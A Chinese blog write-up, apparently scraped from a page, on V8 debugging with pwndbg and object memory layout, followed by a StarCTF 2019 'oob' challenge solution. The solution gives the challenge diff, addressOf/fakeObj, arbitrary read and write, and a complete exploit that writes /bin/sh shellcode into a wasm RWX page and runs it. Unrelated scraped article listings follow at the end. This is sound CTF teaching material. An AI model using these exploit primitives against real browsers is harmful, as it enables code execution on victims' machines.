v8 study
v8环境搭建看这里
现在的v8采用的是Ignition(JIT生成) + TurboFan(优化)
v8调试
安装pwngdb
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
将v8/tools/目录下的gdbinit和gdb-v8-support.py添加到~/.gdbinit
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
之后就可以使用%DebugPrint(x)来输出调试信息,使用%SystemBreak()来对程序下断点。
但是js本身是没有%这种语法的,执行时要加上--allow-natives-syntax
写个脚本测试下
$ cat ./example/test.js
arr = [1, 2, 3]
%DebugPrint(a);
%SystemBreak();
$ ./d8 --allow-natives-syntax ./example/test.js
DebugPrint: 0x7900010bdfd: [JSArray]
- map: 0x07900024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x07900024e2f9 <JSArray[0]>
- elements: 0x07900025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x0790000022a9 <FixedArray[0]>
- All own properties (excluding elements): {
0x79000006e61: [String] in ReadOnlySpace: #length: 0x079000204285 <AccessorInfo name= 0x079000006e61 <String[6]: #length>, data= 0x0790000022e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x07900025a7bd <FixedArray[3]> {
0: 1
1: 2
2: 3
}
0x7900024e0b5: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0790000022e1 <undefined>
- prototype_validity cell: 0x079000003875 <Cell value= 1>
- instance descriptors #1: 0x07900024e865 <DescriptorArray[1]>
- transitions #1: 0x07900024e881 <TransitionArray[4]>Transition array #1:
0x079000007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x07900024e899 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype: 0x07900024e2f9 <JSArray[0]>
- constructor: 0x07900024e021 <JSFunction Array (sfi = 0x7900021d455)>
- dependent code: 0x0790000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
可以看出打印出了数组大小,内容以及数据类型等相关信息,数组成员被存储为了SMI(small integer)类型
使用GDB调试
$ gdb d8
pwndbg> r --allow-natives-syntax ./example/test.js
[New Thread 0x7f7491b4a700 (LWP 2571)]
DebugPrint: 0x1e840010be29: [JSArray]
- map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1e840024e2f9 <JSArray[0]>
- elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1e84000022a9 <FixedArray[0]>
- All own properties (excluding elements): {
0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x1e840025a7bd <FixedArray[3]> {
0: 1
1: 2
2: 3
}
0x1e840024e0b5: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1e84000022e1 <undefined>
- prototype_validity cell: 0x1e8400003875 <Cell value= 1>
- instance descriptors #1: 0x1e840024e865 <DescriptorArray[1]>
- transitions #1: 0x1e840024e881 <TransitionArray[4]>Transition array #1:
0x1e8400007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x1e840024e899 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype: 0x1e840024e2f9 <JSArray[0]>
- constructor: 0x1e840024e021 <JSFunction Array (sfi = 0x1e840021d455)>
- dependent code: 0x1e84000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
pwndbg> job 0x1e840010be29
0x1e840010be29: [JSArray]
- map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1e840024e2f9 <JSArray[0]>
- elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1e84000022a9 <FixedArray[0]>
- All own properties (excluding elements): {
0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x1e840025a7bd <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x1e840025a7bd
0x1e840025a7bd: [FixedArray] in OldSpace
- map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)>
- length: 3
0: 1
1: 2
2: 3
pwndbg> x/8gx 0x1e840010be29-1
0x1e840010be28: 0x000022a90024e0b5 0x000000060025a7bd
0x1e840010be38: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef
0x1e840010be48: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef
0x1e840010be58: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef
pwndbg> x/8gx 0x1e840025a7bd-1
0x1e840025a7bc: 0x00000006000021e1 0x0000000400000002
0x1e840025a7cc: 0x000024d100000006 0x0025a7bd00000000
0x1e840025a7dc: 0x0000000400002169 0x0025a7290025a7d1
0x1e840025a7ec: 0x0000002e0000320d 0x00003f790025a7dd
job命令可以查看js object的内存分布。但是job命令的地址是真实地址+1
在v8中地址进行了压缩,只保存低32bit,高位地址都一样
可以看出在0x1e840010be29-1就是存储的arr这个数组的信息,依次分别是map|properties|elements|length
- map: 0x1e840024e0b5
- elements: 0x1e840025a7bd
- length: 3
- properties: 0x1e84000022a9
0x1e840010be28: 0x000022a9|0024e0b5 0x00000006|0025a7bd
这里的length乘了2,后面存储的数组元素也乘了2,应该是v8的特性吧
在elements-1即0x1e840025a7bc出可以看出存储的分别是map|length|arr
- map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)>
- length: 3
0: 1
1: 2
2: 3
0x1e840025a7bc: 0x00000006|000021e1 0x00000004|00000002
0x1e840025a7cc: 0x000024d1|00000006
上边有两个length,第一个是申请的长度,第二个是已使用的长度
存储double类型时按64bit的长度存储,存储的是真实值不会像integer一样乘2
star ctf oob
环境搭建
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf/oob.diff
$ gclient sync -D
$ ./tools/dev/v8gen.py x64.release
$ ninja -C ./out.gn/x64.release
最后的测试poc要编译release版本,debug版本会有assert错误爆出。
先看一下这个版本的v8对象内存分布
$ cat ../../../v8_diff/star_ctf_oob/test.js
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
%SystemBreak();
$ ./d8 --allow-natives-syntax ../../../v8_diff/star_ctf_oob/test.js
DebugPrint: 0x4366814ddd9: [JSArray]
- map: 0x20060f5c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0c1ef0b11111 <JSArray[0]>
- elements: 0x04366814ddb1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x2cbc7c180c71 <FixedArray[0]> {
#length: 0x07cfb95801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x04366814ddb1 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x20060f5c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x20060f5c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x07cfb9580609 <Cell value= 1>
- instance descriptors #1: 0x0c1ef0b11f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x0c1ef0b11eb9 <TransitionArray[4]>Transition array #1:
0x2cbc7c184ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x20060f5c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x0c1ef0b11111 <JSArray[0]>
- constructor: 0x0c1ef0b10ec1 <JSFunction Array (sfi = 0x7cfb958aca1)>
- dependent code: 0x2cbc7c1802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
pwndbg> x/8gx 0x04366814ddb1-1
0x4366814ddb0: 0x00002cbc7c1814f9 0x0000000300000000
0x4366814ddc0: 0x3ff199999999999a 0x400199999999999a
0x4366814ddd0: 0x400a666666666666 0x000020060f5c2ed9
0x4366814dde0: 0x00002cbc7c180c71 0x000004366814ddb1
pwndbg> x/8gx 0x4366814ddd9-1
0x4366814ddd8: 0x000020060f5c2ed9 0x00002cbc7c180c71
0x4366814dde8: 0x000004366814ddb1 0x0000000300000000
0x4366814ddf8: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x4366814de08: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
可以看出a的元素后面紧跟着a的map addr
看下题目给的diff文件,发现主要是给array增加了一个oob方法,当参数个数为1时可以越界读一个内存单位,参数个数为2是可以越界写。而c++必有一个参数this,所以其实就是无参越界读,有参越界写
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
所以我们通过这个越界写将一个对象的map修改为数组的map这样就可以实现任意读,这个过程可以封装成addressOf
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
将一个数组的map修改为对象的map可以伪造出一个对象,封装为fakeObj.
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
任意读
一个arr的堆分布应该是map|length|arr value|map|properties|elements|length,其中elements指向第一个map的地址
我们首先构造一个fake_array,其第一个元素是array_map对应上边的第二个map,那elements就是fake_array[2],将fake_array[2]修改为要读取的地址 - len(map + length) + 1就可以读出改地址的数据。
任意写同理。
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
function read(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
任意读写实现了那么怎么执行命令呢,可以通过执行wasm的shellcode来进行提权等操作,wasm是js中一种类似汇编的存在,所在的段具有rwx权限。
获取rwx_addr
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr, ftoi(rwx_addr));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
最后的exp
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function read64(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr, ftoi(rwx_addr));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
参考
从0开始学V8漏洞利用之starctf 2019 OOB(三)
v8利用初探 2019 StarCTF oob 复现分析
v8 study的更多相关文章
- Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622(转)
转:http://phrack.org/papers/attacking_javascript_engines.html Title : Attacking JavaScript Engines: A ...
- Chrome V8引擎系列随笔 (1):Math.Random()函数概览
先让大家来看一幅图,这幅图是V8引擎4.7版本和4.9版本Math.Random()函数的值的分布图,我可以这么理解 .从下图中,也许你会认为这是个二维码?其实这幅图告诉我们一个道理,第二张图的点的分 ...
- windows下使用VS2015编译V8 JavaScript引擎(v5.5 - 2016/09)
今天心血来潮, 下载了 v8,,然后就想着用vs编译 但是大家都苦恼的是 v8并不直接提供 vs用的项目文件和解决方案(.sln) 于是,在网上搜来搜去, 折腾来折腾去的; 终于一点一点的尝试, 可以 ...
- 判断js引擎是javascriptCore或者v8
来由 纯粹的无聊,一直在搜索JavaScriptCore和SpiderMonkey的一些信息,却无意中学习了如何在ios的UIWebView中判断其js解析引擎的方法: if (window.de ...
- [翻译] V8引擎的解析
原文:Parsing in V8 explained 本文档介绍了 V8 引擎是如何解析 JavaScript 源代码的,以及我们将改进它的计划. 动机 我们有个解析器和一个更快的预解析器(~2x), ...
- nodejs与v8引擎
Motivation JavaScript 是一款拥有「自动垃圾回收」功能的编程语言. 市面上具有这样功能的语言,一般都是拥有相对应的虚拟机的,像 Java的JVM ,C#的CLR ,PHP的Zend ...
- Improve Your Study Habits
1.Plan your time carefully. Make a list of your weekly tasks.Then make a schedule or chart of your t ...
- V8 的 typeof null 返回 "undefined" 的 bug 是怎么回事
1997 年,IE 4.0 发布,带来的众多新特性中有一个对未来“影响深远”的 DOM API:document.all.在随后的 6 年里,IE 的市场占有率越来越高,直到 2003 年的 95%. ...
- 解决:j-link V8下载器灯不亮,无法正常烧写固件
昨天j-link V8下载仿真F4正常,下午下载仿真F1后吃了个饭,然后它的灯就不亮了...按照这个例程弄了好几遍都不行,http://www.cr173.com/soft/98542.html,卡在 ...
- C++调用V8与JS交互
C++访问JS函数 C++部分: /** * COMPILE foo.js AT THE FIRST COMMAND PROMPT TO RUN foo.js */ #include <v8.h ...
随机推荐
- 使用 ApplicationContextAware 定义 SpringContextHolder 类
需求:使用 @autowired注入一些对象,但发现不可以直接使用@Autowired,因为方法是static的,要使用该方法当前对象也必须是static,正常情况下@Autowired无法注入静态的 ...
- 升级pip报错ERROR: Could not install packages due to an OSError: [WinError 5]
今天在安装python第三方库时,提示pip需要升级,没有多想直接升级,结果报错: 1 ERROR: Could not install packages due to an OSError: [Wi ...
- offsetX与offsetLeft
offsetX:鼠标指针距离当前绑定元素左侧距离,他并不是相对于带有定位的父盒子的x,y坐标, 记住了,很多博客都解释错了 offsetLeft,offsetTop 相对于最近的祖先定位元素.
- 一连串div跟随鼠标移动
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 3d基础 - 从模型坐标到屏幕坐标
在 3D 引擎中,场景通常被描述为三维空间中的模型或对象,每个模型对象由许多三维顶点组成.最终,这些模型对象将在平面屏幕上呈现和显示. 渲染场景始终相对于摄像机,因此,还必须相对于摄像机的视图定义场景 ...
- Oracle问题:ORA-01565
问题 oracle启动时报错,找不到spfile文件. ORA-01078: failure in processing system parameters ORA-01565: error in i ...
- [Linux/CENTOS]YUM提示: Another app is currently holding the yum lock; waiting for it to exit...
1 问题描述 使用yum安装Nginx的安装依赖组件: yum -y install gcc gcc-c++ automake autoconf libtool make 但是,在执行过程中出现如下信 ...
- 详解事务模式和Lua脚本,带你吃透Redis 事务
摘要:Redis事务包含两种模式:事务模式和Lua脚本. 本文分享自华为云社区<一文讲透 Redis 事务>,作者: 勇哥java实战分享. 准确的讲,Redis事务包含两种模式:事务模式 ...
- 【SpringMVC】(一)
SpringMVC简介 SpringMVC是Spring的一个后续产品,是Spring的一个子项目 基于原生的Servlet,通过了功能强大的DispatcherServlet,对请求和响应进行统一处 ...
- Java学习笔记02
1. 运算符和表达式 运算符 就是对常量或者变量进行操作的符号. 如:+ - * / 表达式 用运算符把常量或者变量连接起来的,符合Java语法的式子就是表达式. 如:a + b ...